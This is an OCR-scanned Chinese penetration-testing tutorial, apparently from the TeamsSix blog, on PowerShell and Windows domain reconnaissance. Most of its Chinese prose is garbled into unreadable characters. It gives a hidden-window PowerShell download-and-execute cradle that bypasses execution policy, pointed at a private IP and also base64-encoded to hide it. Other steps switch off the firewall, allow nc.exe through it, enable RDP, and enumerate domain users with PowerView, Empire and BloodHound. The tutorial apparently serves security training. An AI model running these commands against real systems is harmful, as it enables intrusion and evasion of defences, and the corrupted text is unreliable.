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PowerShell FTLATEI SRAVIERE R omd RISRAR, omd BEMMAISTE PowerShell FREBEE(H, 1B PowerShell IMEEMIR %
cmd NEEMAVEIE.

PowerShell & Windows 7. Windows Server 2008 R2 K8 &ShRAR Windows RZ5H, B PowerShell 24472
£ NET A L8, A SEERNEE NET %R,

PowerShell A1 MHFA:
Windows 7 DA ERIIRIERGTENAZ A
PowerShell IASFILUZITHERFH, THEG AL
B AM B —T &G0 N PowerShell BIAF AT
HAErRZ TREZET PowerShell FT&H
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cmd BES#ELINETT, 182 PowerShell &

IR EIEERN H %

B\ Get—Host 8& $PSVersionTable &%& PowerShell fR7:

none

PS C:\Users\teamssix> Get-Host

Name

Version
Instanceld

UI
CurrentCulture

CurrentUICulture :

PrivateData
DebuggerEnabled

IsRunspacePushed :

Runspace

none

: ConsoleHost

: 5.1.18362.1171

: a0a6f8f2-f86a-477f-bf4b-b94b452bee3c

: System.Management.Automation.Internal.Host.InternalHostUserInterface
: zh-CN

zh-CN

: Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
: True

False

. System.Management.Automation.Runspaces.LocalRunspace

PS C:\Users\teamssix> $PSVersionTable

Name

PSVersion
PSEdition

~e A
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PFSLompatiblLeversions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1171
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1

Windows 21ER XA PowerShell i ANE B :
1.0 windows server 2008

2.0 windows server 2008 r2 . windows 7

3.0 windows server 2012 . windows 8
4.0 windows server 2012 r2 . windows 8.1

5.0 windows 10

5.1 windows server 2016

2. B

ps1 {4
ps1 £ PowerShell B9BIAY E%, — PowerShell BIASSEESER 2 — PR BRI AR,

AT REE

AT BIEEERATE PowerShell 11517, PowerShell B P HATERES, BUANBR T, X PHTHRIEEZIREL
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Restricted

{$F Get-ExecutionPolicy ApSEE HEIHTHRE

none

PS C:\Users\teamssix> Get-ExecutionPolicy
Restricted

WATREEE DA LA

Restricted: [N8EI1THZAS

RemoteSigned: ZithlEAVHIAFIDUETT, (B L TNEMBIAANGEET FRIFE(HBBRZEEN R

=l

FERS)

AllSigned: (XHHIARAZEENEME TR EEIBT,

Unrestricted: BIAHTAZRE], FAERBME, LAEENEEREEE,
{6F] Set-ExecutionPolicy <policy name> & BHITHRE, ZH S EEEIE AR

none

PS C:\WINDOWS\system32> Set-ExecutionPolicy Unrestricted

MATRIEE LN
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out_Execution_Policies #ENEIATIA, EEEHNHAITHEE?

[Y]l 2D [Al =2CA) [Nl &) [L] =& [S] &= [71 #E GUAMERN): A

PS C:\WINDOWS\system32> Get-ExecutionPolicy

Unrestricted

IE1 TR
PowerShell I1THIZASRI A TUFIEAME shell EAR—E, PIBUASTTEERZIE1T, DR ps1 XHFMEER FEE1T, B
R
none

PS C:\Users\teamssix> C:\t.psl
hello TeamsSix

PS C:\Users\teamssix> cd C:\

PS C:\> .\t.psl
hello TeamsSix

XEARERME—T, £ETQE NIRRT PowerShell BTHIARNIREXIFN: “RIZIRBTT— 18BN
a.ps1 BIBIA, fRPILASEN C:\Scripts\aps!, &AMIFISNE, R PowerShell BIASUHRIGF I FRIOR S H &
B, AP UERESLERM G LR ERANMA SRR PIETT

XEN ‘REGER BENEER? C\ T2 C\windows\system B, “&AMAIIN X2MHT4AR, #HEEEE
B — MBI R

BiE
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PowerShell BB R T linux AREE, #E2BeI— T2

180, f£ PowerShell FRIRBUARZE BFALER ID #H1THF

none

PS C:\> Get-Process | Sort-Object ID

Handles NPM(K) PMCK) WSCK) CPU(s)
0 0 60 8
3038 0 208 4760
0 12 7732 81344
53 3 1160 752
256 10 2468 7424
662 21 1788 4668
160 11 1364 5660
653 27 18592 177580

1219 67 59660 52 2.59
278 14 3108 15656
687 11 5420 9432

3. —¥E4%<

—NoLogo: B MERARAIRER PowerShell
~WindowStyle Hidden (-W Hidden): P25 &E O
—NoProfile (-NoP): ~iNEHeiA N E

—Enc: 17 base64 HRISfER9 powershell AR FRT

https://teamssix.com/211027-16364 1 .html
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368
424
504
580
588
600
684
724

ST

S P P P O 0O OO0 &

ProcessName

System
Registry
smss

svchost
csrss
wininit
csrss
WinStore.App
winlogon

services
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—ExecutionPolicy Bypass (~Exec Bypass) : S03H/TZ 2 EMH
—Noexit: H{iT/EMERE Shell, XEERBEICRFHUANIFEEE
—Nonlinteractive (-Nonl): FERXF1&=,, PowerShell 8B FIRMHRR 5 1IER

£ PowerShell &, @SS EINEE—H, #XA 78 - 2138970, U Net—ltem, m018—#% 50 Add. New.
Get. Remove. Set %, PowerShell 133 cmd 1 Linux 772, WMBEBF0LMER dir & Is

XHFHRIERG <L

none

FrEH Ftest: New-Item test -ItemType directory

iR Extest: Remove-Item test

FriEftest.txt: New-Item test.txt -ItemType file

FiExfrtest.txt, AEHN hello: New-Item test.txt -ItemType file -value "hello"
MRz f4test. txt: Remove-Item test.txt

BENffFtest.txtNA: Get-Content test.txt

WEXHtest.txtABt: Set-Content test.txt -Value "hello"

i fftest. txtiBMAZE: Add-Content test.txt -Value ",word!"

B X frtest. txtAZE: Clear-Content test.txt

G AR A AT

FEHETBIMER T PowerShell (0HT I 2R Restricted , EMSH T ESBNRITRDHNBERHF—
Lo PR EAT X RS, T/ B ABIA A

FoAREBMNZRIZIU M ATHI RIS
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norie

PS C:\Users\teamssix> powerShell.exe Get-ExecutionPolicy
Restricted

PS C:\Users\teamssix> PowerShell.exe -File t.psl
ToEME S C:\Users\teamssix\t.psl, HENFEIRF L IDETHIA, BXFMEE, B2 https:/go.microsoft.com/fwlink/?
LinkID=135170 /19 about_Execution_Policies.

+ CategoryInfo : SecurityError: (:) [J, ParentContainsErrorRecordException

+ FullyQualifiedErrorId : UnauthorizedAccess

EZEE§§25§§U55R%EEE%QQEJZEQLtiETfHHZF, B0t -ExecutionPolicy Bypass Eﬂﬁjé%fiiz/ﬁﬁﬁﬁﬂ

none

PS C:\Users\teamssix> cat .\t.pslecho "Hello TeamsSix"PS C:\Users\teamssix> PowerShell.exe -ExecutionPolicy Bypas
s -File t.pslhello TeamsSix

G AN PR AR RENT

PN -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile Eﬂfﬂﬁéﬁﬁ}ﬂ?ﬁo

none

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File t.psl

THRREMASZINRARERIT

none
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PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile "IEX(New-Object Ne
t.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"

gEEE

none

PowerShell.exe -Exec Bypass -W Hidden -NoLogo -NonI -NoP "IEX(New-Object Net.WebClient).DownloadString('http://17
2.16.214.1:8000/t.ps1')"

FF Base64 WS 1THRID

{£F8 Baseb4 HITRIBEEZEN TIRAMNBURRHEARBREDE R, 2N XEEZERA Baseod RIZEN1TH, B
DAMER Github ER9—1RAZ TR, T E Nt

https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py

NEFE, FTEROREATHGSREEAMGF, XEREFET tmpixt AR, Z/EHAT python ps_encoder.py
-S tmp.txt BlIA]

none

>cat tmp.txtIEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')>python ps_encoder.py -
s tmp.txtSQBFAFgAKABOAGUAdwWAtAE8AYgBgAGUAYWBOACAATgBTAHQALgBXAGUAYgBDAGWAAQBTAGAAdAApACAARABVAHCAbgBSAGEAYQBKAFMA
dAByAGkAbgBnACgAJIwBoAHQAdABWADOALWAVADEANWAYAC4AMQA2AC4AMgAXADQAL gAXADoAOAAWADAAMAAVAHQAL gBWAHMAMQANACKA

{£F8 —Enc 87 Baseb4 RIBAR
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none

PowerShell.exe -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAES8AYgBgAGUAYWBOACAATgB1AHQALgBXAGUAYgBDAGwWAaQB1LAG4AdAApAC4A
RABVAHcAbgBsAG8AYQBKAFMAdABYAGkAbgBnACgAJIwBoAHQAJABWADOALWAVADEANWAYAC4AMQA2AC4AMgAXADQAL gAXADOAOAAWADAAMAAVAHQAL

gBWAHMAMQANACKA

PS C:\> PowerShell. exe Bypass SQBF
AFgAKABOAGUAdwAtAESAYgBgqAGUAYwWBOACAATgB1AHQAL
gBXAGUAYgBDAGwAaQB1AG4AdAApAC4ARABVAHcAbgBsAG
S8AYQBKAFMAdAByAGkAbgBnACgA JwBoAHQAdABWADOALWA

vADEANwWAYAC4AMQA2AC4AMgAxADQAL gAxADoAOAAWADAA
MAAVAHQALgBwAHMAMQANACKA

Hello TeamsSix

1. FehlEFRTEAFER
=5 LAUR
ANREREES

BRIFRGHRAMER (EEXXR)
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none

whoami
BRIERGARAES (FXAR)
none
ipconfig /all

BERTUAREN

none

systeminfo | findstr /B /C:"0S Name" /C:"0S Version"

BEERTMENRES

BB TR MR ANERZSER

systeminfo | findstr /B /C:"0S &#" /C:"0S kA"

A PowerShell WERHIRAE R
18273
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none

echo %PROCESSOR_ARCHITECTURE%

BWANRBZER
none
set
TR

wmic BEFHIZER

none

wmic product get name,version

BERMEFER

none

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version”

BEITHIES
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none

wmic service list brief

BETHITEHE

none

tasklist /v

BWHE/YIER

BEEREEMAPNER

BEAMEERARS

none

wmic process list brief

BEESHIEERP

none

wmic startup get command,caption
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5l BRI AT B FIE R E P inf=1h

[

BinO5I&R
BEMNTVIE
£/ wmic BEB4MNT FIIE

none

schtasks /query /fo LIST /v
BERIEZ

FB wmic BEEHZTIEX

none

net statistics workstation

BWEHARIIE A BZON ARP EiFR

B KIERRECE
X HIRA A8

none

net user

BERNIGEE
217273
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none

net user teamssix

1Be8Bh K IBECE

none

net localgroup administrators

BE X Fh K A S &

none

query user || gwinsta

BRITENGERE)

none

net session

BWHIT R EERS
BEIEERIR T (0xd3d 1A% 10 #EHIRN 3389)

none

netstat -ano

£ Windows Server 2003 FF /2 3389 I

none

svsteminfo
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£ Windows Server 2008 # Windows Server 2012 HFF = 3389 i#[]
none

wmic gfe get Caption,Description,HotFixID,InstalledOn

2. BRIREAR M TFAER

wmic filZs

wmic BIZAR gt https://www.fuzzysecurity.com/scripts/files/wmic_info.rar

BEERRBMAEBRREN LB1T, BITEREZEMR—T output.html X4

&~ S O A @ | file:///C:/Users/Dora/Desktop/outitml

DESKTOP-OQCEEMQ)||http://support.microsoft.com/?kbid=4499918.||Update. KB4499918.|(1/26/2021.
DESKTOP-OQCEEMQ) |https://support. microsoft.com/help/4580325. ||Security Update.||KB4580325.((1/26/2021.
DESKTOP-OQCEEMQ) |https://support.microsoft.com/help/4598480. ||Security Update.||KB4598480.((1/26/2021.
[DESKTOP-OQCEEMQ||http://support.microsoft.com/ ?kbid=4464455.| Update. |[kB4464455.][10/29/2018. |

4 Instances of Win32_StartupCommand

i¢

= 4L =

[Node |[caption _|lcommand ¥ " |ltocation

&

||User |

DESKTOP-OQCEEMQ)||SecurityHealth. %windir%)\system32\SecurityHealthSystray.exe.

||HKLM\SOFFWARE\Microsoft\Windows\CurrentVersion\Run. Public.

DESKTOP-OQCEEMQ)||VMware VM3DService Process.||"C:\Windows\system32\vm3dservice.exe" -u.

||HKLM\SOFFWARE\Microsoft\Windows\CurrentVersion\Run. Public.

DESKTOP-OQCEEMQ||VMware User Process.

"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr.||HKLM\SOFFWARE\Microsoft\Windows\CurrentVersion\Run. Public.

DESKTOP-OQCEEMQ)||Sysdiag. "C:\Program Files (x86)\Huorong\Sysdiag\bin\HipsTray.exe". ||HKLM\SOFFWARE\Microsoft\Windows\CurrentVersion\Run. Public.
6 Instances of Win32 Product
[Node |Description __ |[nstaliDate|InstallLocation |[Packagecache |[vendor _|[Version
DESKTOP- C:\Program Files\VMware\VMware e .
OQCEEMQ VMware Tools. 20210126. Taay. C:\Windows\Installer\34d87.msi. [[VMware, Inc.. 11.1.5.16724464.
DESKTOP- Microsoft Visual C++ 2019'X64 Additional Runtime - oy - ||Microsoft
OQCEEMQ 14.24.28127. 20210126. < |. C:\Windows\Installer\34d84.msi. ] 14.24.28127.
NFSKTNDP- Mirrnenft Viciial C4+4 2010 XRA Additinnal Riintime - IIMirracnft
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0QCEEMQ 142428127, 20210126. || C:\Windows\Installer\34d7c.msi. ||Corporat|on. 14.24.28127.

DESKTOP- Microsoft Visual C++ 2019 X64 Minimum Runtime - e . ||Microsoft

OQCEEMQ 14.24.28127. 20210126. |[. C:\Windows\Installer\34d80.msi. o 14.24.28127.

DESKTOP- ; Microsoft

OQCEEMQ Microsoft Update Health Tools. 20210126. |[. C:\Windows\Installer\1f2f69.msi. e 2.70.0.0.

DESKTOP- Microsoft Visual C++ 2019 X86 Minimum Runtime - e . ||Microsoft

OQCEEMQ 14.24.28127. 20210126. ||. C:\Windows\Installer\34d78.msi. Corporation. 14.24.28127.

1 Instances of Win32 OperatingSystem

|Node ||In$@lbate ,\dh\.astBootUpTime ||Loc§!§kte1'ime ||Manufactw;@ﬂ|‘ﬂame & ||RegisteredUser”ServicePacm‘ajorVers

DESKTOP- Microsoft Microsoft Windows 10l | g

OQCEEMQ 20210126130815.0000004+480.||20210126134526.500000+480./(20210211125747.682000+480. Corporation. h%|C:\Windows| Windows FHF.
\Device\Harddisk0\Partition3.

PowerShsell Empire

PowerShsell Empire R &R ‘T E" —FEX Windows REFamiTiEfsE TR, T E Empire MBEER
MSF p9—LX 51,

MSF 22¥ a8, Fib2 win, linux, mac &rI AT, 1B Empire 2 REX Windows 89

MSF 2 BWE, BE, E5E, KNS, £IHNINEEN—IK, TEZEE, M Empire T3 X FTAMNZE, B2
PowerShell 83

2FEH Empire (41 2 /5, PIJEHA powershell/situational_awareness/host/winenum EIREEARNHFPERE . RAE
KEE. BHEIRFFER.,
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(Empire: ) > execute

Avallable Shares

Name Path Description Status

ADMIN$ C:\Windows miZEIE 0K
c$ o BfAHES 0K
IPCS iz IPC oK

AV Solution

360Dt
Windows Defender
N ET =W
AV Product State:

https://teamssix.com/211027-163641.html 25/273




2021/10/27 F4-6:41 [T M2 S iR &4 | TeamsSix
Updated: Unknown

Windows Last Updated

202141H268 0:00:00)

A powershell/situational_awareness/host/computerdetails RIRFIEEF EZAER, tbal RDP EFEE . EHE
BHGES, EoTX TRANEZEEANE,

1. #IBTESFEE

ipconfig
BEMX IP #lE. DNS 89 IP ik, & FALEESH DNS RSS20 T B —MEx.,

none

net share

1EE(EMA nslookup BRITIERM 1P #itlf, SEEES5 DNS iRE2BNE— P
none
wmic share get name,path,status

none
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route printarp -a

REFAER

none

netsh firewall set opmode disable (Windows Server 2003 ZE%iL ZfikRZA)netsh advfirewall set allprofiles state off
(Windows Server 2003 Z%i2 ahi)

HERESEHAR

none

netsh firewall show config

none

(Windows Server 2003 Z%i N 2 BIMRA) AVHETEREF2EEEnetsh firewall add allowedprogram c:\nc.exe "allow nc" enable(W
indows Server 2003 ZEAZRA)NIFIEEEREE Anetsh advfirewall firewall add rule name="pass nc" dir=in action=allow
program="C: \nc.exe" 1FE 27 iEHnetsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program
="C: \nc.exe" ¥ 3389 x4 Tnetsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localp

ort=3389 action=allow

FUBT 0

none
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netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"

2, INKEAEMESR
BEH

none

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

BERERITEN

none

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

none

nn

wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

EEEARFAIIR

none

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallo
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wtsconnections lwmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RD
P-Tcp') call setuserauthenticationrequired lreg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v f

SingleSessionPerUser /t REG_DWORD /d @ /f

EEBAFPARER

none

ipconfig /all

none

C:\Users\daniell®@> ipconfig /all

Windows IP E2E&
&+ DNS =% .
DNS ERERIIE

PUIRIER 2 Ethernet:
IPv4 tbdib .
F R
BRI .
DNS BRZ52%

EEHEBEREBESR

none

nslookup teamssix.com
https://teamssix.com/211027-16364 1 .html

: teamssix.com

. teamssix.com

: 192.168.7.110
1 255.255.255.0
:192.168.7.1

: 192.168.7.7
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EEEEEER

none

C:\Users\daniell®> nslookup teamssix.com
fRZ525:  UnKnown

Address: 192.168.7.7

HR: teamssix.com

Address: 192.168.7.7

none
systeminfo

3. KEGRFNERARER

BEREAFIIR

none

C:\Users\daniell®> systeminfo | findstr i3:

IH: teamssix.com

BRI EESR

https://teamssix.com/211027-16364 1 .html
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none

net config workstation

none

C:\Users\daniell@> net config workstation | findstr i3

T VEuLiE TEAMSSIX
T Fufss, DNS 25 teamssix.com
=ret] TEAMSSIX

BERFENAR

none

net time /domain

=AY dsquery @

none

C:\Users\daniell@> net time /domain\\dc.teamssix.com HIZFiEfE]E 2021/2/13 20:49:56m < HIN5ERK.

4, EfITEHIZE

=< ZE=HEiBe 40 &
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L= B0 o <7 i i ) Mg |

none

net view /domain

none

C:\Users\daniell@> net view /domainDomain---=-====== === o e e e e e e e e
——————— TEAMSSIX#& < RINTTR .

none

net view /domain:domain_name

none
C:\Users\daniell®> net view /domain:teamssixBR523 2% R -
—————————————————————————————————— \\DANIEL1@\\DANIEL7\\DC#< BIN5Er .

none

net group /domain

EEERAA

https://teamssix.com/211027-16364 1 .html 32/273



2021/10/27 F4-6:42 [ o] P 2 210 A4 | TeamsSix

none

C:\Users\daniell®@> net group /domainXTUEAFGESE teamssix.com AYIEIEHI23402, \\dc.teamssix.com FYAEMKF-------------

__________________________________________________________________ *Admins*Domain Admins*Domain Computers*Domain U
sers*Enterprise Admins@n< RIS,

none

net group "Enterprise Admins" /domain

5. EMIFERRA

psloggedon

£ Windows 16/ net session FIUNEFIEFER T AHRR, EANEEFHEEFERTEITENSR. SR T A
Az &AL, 1/ psloggedon AINEEARMERIA - BT At B SniZ it BV AT S RERNAE, .

psloggedon TEMBLLE:  https://docs.microsoft.com/en—us/sysinternals/downloads/psloggedon

none
C:\Users\daniell@> net group "Enterprise Admins" /domainXIfiEskE7EiE teamssix.com BUEIRHIZe4ME, HZ Enterprise
Admins)E# R A B R B R B A A —mmm - mm e m oo

Administrators< Ik,

none
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net accounts /domain

PVEFindADUser

PVEFIndADUser BT B EsEFAPEFOUE. WEGH/, UABRAERETEN LEFOMA,, St
. 8 RDP B, BT EiTRSSHMITHIESHRER,, ZIEFREEANR,

PVEFIindADUser FEg#thil: https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersl.oggedOn

none

C:\Users\daniell@> net accounts /domainiXINiEKIG#EE teamssix.com BYFIRFISSLIE, BEIAFPERERIHZEZSRANTEE?:

MAZBaIEERIR(RD: 1ZBRKRERIR(RD: 2ZWBRERIVE:
TREFABBHLICRKE: 24EHE: MABIEFFERE(D):
30HIEMMEO(S) 30itEAeE: PRIMARY#5 < A INTER o

none

nltest /domain_trusts

netview

netview 2— PR T B, £ WIinAPI 82245, FIE NetSessionEnum S EFEIE, A NetShareEnum S it
=, FJA NetWkstaUserEnum WEEFAIAF, netview B UEWBWHENOFMENENEF, E®AEDINELEEIE
ANPRRPIER,

Natiow " KEFHITE . hitne / /aithi il com /miihiv /netvuiows
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vvvvvvvvv | LAt TILLNIDL/ [ I L TUR I T TURI N I LV

none

C:\Users\daniell@> nltest /domain_trustsiE{E{EH5IE: @: TEAMSSIX teamssix.com (NT 5) (Forest Tree Root) (Primar
y Domain) (Native)it&< RLIN5ERE

none

net user /domain

NSE RZ

= AR NSE BlAgl T
smb-enum-domains.nse ﬂjﬁﬁ§ U%ﬁ?fTE%J&% ﬂb@%ﬂifﬁﬂ%% )Eﬁ)j ﬂ@éﬁﬁ@ﬁ%%fﬂ%%ﬁﬁp%

smb-enum-users.nse : FEATIENZBNT, WEREN T AR S ENNER, BXRER, TERNEZNERFER, AE
BRI AR ST i ) 25 A T H3 98

smb-enum-shares.nse : ﬁ%@ﬁ%fmﬁ'\]ﬁi?@%
smb-enum-processes.nse : Xy FHARGHZHITIED, BILER, PIENE BTN ciTE Bt
smb-enum-sessions.nse : SREVEIANFHWEFEMSIE, EERR BB EM, BAEEEEANE

smb-os-discovery.nse : WEBERENARIEART. B2, HFE . FFEFR. NetBIOS #1255 . NetBIOS . T
EH. RERTEFHER
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NES BIA gt hitps://nmap.org/nsedoc/scripts/

none

C:\Users\daniell@> net user /domainiXIiEKIG7EE teamssix.com RYIEFIZFIZR4LME, \\dc.teamssix.com RIFFIKF

—————————————————————————————————————————————————————————————————— admin Administrator
daniell0

$ nmap —-script=smb-os—-discovery.nse -p 445 192.168.7.107

Nmap scan report for 192.168.7.1@7
Host is up (0.00059s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
smb—os-discovery:
0S: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
0S CPE: cpe:/o:microsoft:windows_7::spl:professional
Computer name: daniel7
NetBIOS computer name: DANIEL7\x00
Domain name: teamssix.com
Forest name: teamssix.com

FODN: daniel7.teamssix.com
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Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds

PowerView BZs

PowerView BIZAFEIE T —FRFIIAH9 powershell BIZ, {52 UEBRIIHIZASR Invoke-StealthUserHunter. Invoke—
UserHunter 2, Z{$H PowerView MIZAE NG PowerView X3 E5IE] PowerShell B Module XFRR,  Module
AT REAZR P UEIT fE PowerShell A%\ $Env:PSModulePath &, FIXEWEEHF]T C:\Program
Files\WindowsPowerShell\Modules X432,

1ZE 1T powershell %I\ Import-Module PowerView BJE]S A PowerView, (£ Get-Command -Module PowerView BJ&
ECS A PowerView 55

none

wmic useraccount get /all

PowerView BIZA &b hitps://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

AT LA N EMUNSERNZINE EHEBAEMINE T, BEIEFERRALN PowerView Bz
B, &N AE] Invoke-StealthUserHunter ap<y, [MIHAMRZAHY PowerView 5 Invoke-StealthUserHunter Ap<y

Invoke-StealthUserHunter: REZ 17— RE18, MALGAEEE EEmNMERF. HERERN: M
user.HomeDirectories FIZEVFIE R, HNE RSS2 31T Get-NetSession JKEY, RANFEZE(FFH Invoke-UserHunter

a—+/= 44N B8 M/ 4R S CC NN AN+ hAna S iH-dOa4A = (/OJkE TL hA4n B 7o [ PPANGe= =g | Y N N 0 A R = =
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MEENES T ERTE,  FIEALIX D /A PEmM I THA Y = V22 XEYTNLas N AR £ 1H) o FOWETVIeW FALNIX AT Lnvoke-

StealthUserHunter QD%%?%Z<§U§%§EE@T§?%1, ?ﬁé?ﬁfﬁﬁ Invoke-UserHunter .

Invoke-UserHunter: #HZESASENRBFEE, =SB ®. BRYERMEAHSNE, BI— P EVFIERNE A HINE
M3 . {FF Get-NetSession #[] Get-NetLoggedon (1A NetSessionEnum F1 NetWkstaUserEnumAP!) IS & RSS2
FIFFMER AT, ML BitARE, EEBRNAEEEEANR,

none
C:\Users\daniell®@> wmic useraccount get /allAccountType Caption Description
Disabled Domain FullName InstallDate LocalAccount Lockout Name
PasswordChangeable PasswordExpires PasswordRequired SID SIDType St
atus512 DANIEL1@\Administrator EEITEN DA EKS TRUE
DANIEL10 TRUE FALSE Administrator TRUE
FALSE TRUE S-1-5-21-1097120846-822447287-3576165687-500 1 Degraded512 D
ANIEL1@\DefaultAccount AREBEEWEPIKF, TRUE DANIEL10
TRUE FALSE DefaultAccount TRUE FALSE FALSE S-1-5-21-1097
120846-822447287-3576165687-503 1 Degraded

PowerView FREEM{E SUTERIRIR :
Get-NetDomain: SREX = BIAF~ ATEEIE TR
Get-NetUser: 3REVFTA B AIFHER
Get-NetDomainController: JREXFTA BIZH23H1E 2
Get-NetComputer: FREUE AR FTE 23091405 2

Get-NetOU: SREUZHRY OU (58
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Get-NetGroup: FRENFIBEANANAHNRES
Get-NetFileServer: R#E SPN FRENH BT BRI X 4IRS 215 R
Get-NetShare: SREXHRIENIEHNNEHZER
Get-NetSession: IREVEEARSSZRIIRIE
Get-NetRDPSession: JREVFSTE ARS52s NI 1%
Get—NetProcess: FRBURAZ TRV
Get-UserEvent: FREVFEERFHIHE
Get-ADObject: FREUERNB RN R
Get-NetGPO: FREUZ A FTE HAIRIET
Get-DomainPolicy: FREUSIEAIAZR L 2N Sz 6l 85 SR A
Invoke—UserHunter: SREUEI - EFERITENE R KZABF 25 A A IEIE RNR
Invoke—ProcessHunter: @13 B85 A ATA N 2s i 25 E AP
Invoke-UserEventHunter: fRIEMF B E 18R 5 H - &I MILLElas

Empire

Empire 189 user_hunter RIRATBHIHEE AT NS, (£H

Nnwworehall /citi iatinnal awaranoce /natwnrk /nawansiow /i icor hi intar #&1hL aTZSE M B R SEREMETE T4
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MYV O I DT LU LI UL AV VU T O/ I LV VAT TN/ WA VYT VI VY, U UL LU T RSY/N T A= e 1d) SZ PHA PP — L _lJUo

none

dsquery user

6. EXIEERHIE

RBEEERTIR

none

C:\Users\daniell®@> dsquery user"CN=Administrator,CN=Users,DC=teamssix,DC=com""CN=Guest,(N=Users,DC=teamssix,DC=co

m

none

dsquery computer - EHHZFFNItENdsquery contact - B HEFFIIELFR Adsquery subnet - B EFFFMdsquery group -
S EFHPr2Edsquery ou - B EFHREHPEUdsquery site - EHEFEPNILAdsquery server - & ERPREIZRTIZRdsquery u
ser - FHHZFTAMdsquery quota - BHEFMMNE S dsquery partition - THEFTMNDXdsquery * - fiEMR LDAP &R
SRS EREPNES

S AHLRFRT R # iz R H 2P

none

nltest /DCLIST:teamssix
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MRATILNERRET BPENERRAMF NG, ERRIIT AEERITE,
1. 48

BloodHound R PIMY EBIFZ B EiAMERRRX R, BlE FI BAEA BloodHound IRBISEEXMKEL R, BHHER]
DA BloodHound SIRBIFIBHEABLEAR R AV B BE 12 . BEBAFNZLBAER PTDAfEA BloodHound 3R N1 EAME R BIAN R

BloodHound BYEEHASHEAXER, ERHMIERER, BES A Neod) BURES, #HITRIR DT, AELE
BloodHound By, &&E %3k Neodj HUEE,

2, B
KM Neodj BUEEEE Java 215, HUILZE BloodHound BEILLEL Java, XEDL Windows R4 NI R4,

Java

DK BEZTNEHEFIRA, 98 Neodj 1Iz1TRgESIRES, JOK TNEHDIL:
https://www.oracle.com/java/technologies/javase—downloads.html , TEi2f5, BixZ 280,

Neo4;j

Neod] Bi& MEEFTARA, TEHBiE:  https://neo4dj.com/download—center/#community

NSRS 2 E@ETEXE, F17 bin B3R, AT neo4j.bat console , /N ITZs1/510]
http://localhost: 7474 &ElEfaa, WA NMERERABFEFIRIBLEMTH T .

none
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C:\Users\daniell@> nltest /DCLIST:teamssixixf5igi“teamssix”sh DC EIFIRCMA“\\DC”H), dc.teamssix.com [PDC] [DS]
U : Default-First-Site-Nameltt& < BIh5ER

BloodHound

BloodHound IMEH#BE:  https://github.com/BloodHoundAD/BloodHound , T &i/Ef#EF] 7T BloodHound.exe, %A
Neod] FiEERNK S BIBEI ] ST 23 .

3. {€H

Z&5TA BloodHound /&, BEHTHIEHIIRES SN, HIEARERILUER pst IR E (A exe BFWE, TH
TEHiE:  https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

XEB{ER SharpHound.exe H1THUERORE, 5 SharpHound.exe # 1 EIBFr E, $14T SharpHound.exe -c all H1TEY

EXRE.

none

nslookup -type=SRV _ldap._tcp

ANRAEM pst BIARIEE, a<h:

none

C:\Users\daniell®@> nslookup -type=SRV _ldap._tcp_ldap._tcp.teamssix.com SRV service location: priority

— N wainh+ — 107 nnnt+ — R0 cvin hactnama — A~ +oaAmcciv ramd-~ +oaamc
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2021/10/27 F4-6:42 O] WM ZiIe S 5% I Team351x

- v we Lyl — 1vvu PVl L - Juu (VIS RO RV, — UL . LUUIIODO LA, LUIIUL . LCUID

six.com internet address = 192.168.7.7

REFEIES I zip REEMRKRIIRE, JBEE R BloodHound FRrfEEH_E, 7& BloodHound AMERE &
Upload Data, /& EERIAERNE B AIUNSATIRT .

WEBHIER zip £4883818 3] BloodHound ] A NEIE,

£ BloodHound & EBHE ="k

1. Database Info (BUEEER) , PINEEIRIEUEEDTNEA, . B8NS HRITESR.
2. Node Indo (TRIER) ., BEEITTRE, EXErINERINNTRIEXER,

3. Analysis (D &E8) , 7 BloodHound F¥ig 7 —Lc&1954, BRI

none

netdom query pdc

LEANX E BRI EIE ARG T
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BloodHound - O X
A K Y

Analysis

Pre-Built Analytics Queries

[
-‘Gw
&y w

w,% MemberOf __ @0
e L —8] ¢ g

M
Contair @ [ ]
2 p—an —-%

WriteDa"
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Raw Query

IRIZEMEZEI AR T xx X xx BRI * &

DAHIRR T BloodHound M2 BRRR), FINREMNEIEHAENENXR., AIFEEHHTE, dEFEN
Hﬁﬁkﬁ HORET) . RN BEBHNEDTXFEN—TERT Z,

1. 48

AN, MR EEFER HTTP, DNS FHNAREEELW T, ABATFAI LUl Er ICMP BxE, ICMP Y
BE NN EMEEA ping <, MA—RREFAMEERNNSZELE ping 2UEE.

RUEFAMERT LAY TCP/UDP #3RE2E3] ICMP 89 ping #URSH, MmMZSadh A SRR,
2. ¥ ICMP [#ETH
T ICMP BFEM T EE NA: ptunnel. icmpsh. icmptunnel 2

ptunnel

ptunnel %R PingTunnel, Kali TE®1ZT AR, Linux TL&IF2a0T:

none
